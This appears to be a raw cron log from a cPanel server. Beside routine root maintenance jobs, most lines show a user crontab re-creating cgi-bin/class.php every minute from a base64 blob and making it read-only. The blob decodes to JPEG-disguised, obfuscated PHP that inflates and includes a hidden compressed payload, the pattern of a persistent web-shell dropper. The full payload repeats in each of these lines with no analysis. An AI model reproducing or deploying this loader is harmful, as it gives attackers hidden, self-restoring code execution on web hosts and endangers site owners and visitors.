Nov 15 20:01:01 server CROND[29515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:01:01 server run-parts(/etc/cron.hourly)[29514]: starting 0anacron
Nov 15 20:01:01 server run-parts(/etc/cron.hourly)[29533]: finished 0anacron
Nov 15 20:02:01 server CROND[29801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:03:01 server CROND[30059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:04:01 server CROND[30315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:05:01 server CROND[30598]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:05:01 server CROND[30599]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 20:05:01 server CROND[30602]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 20:05:01 server CROND[30603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:05:01 server CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:06:01 server CROND[31020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:07:01 server CROND[31472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:08:01 server CROND[31764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:09:01 server CROND[32020]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 20:09:01 server CROND[32021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:10:01 server CROND[32288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:10:01 server CROND[32289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 20:10:01 server CROND[32291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:10:01 server CROND[32290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:11:01 server CROND[32702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:12:01 server CROND[505]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 20:12:01 server CROND[506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:13:01 server CROND[778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
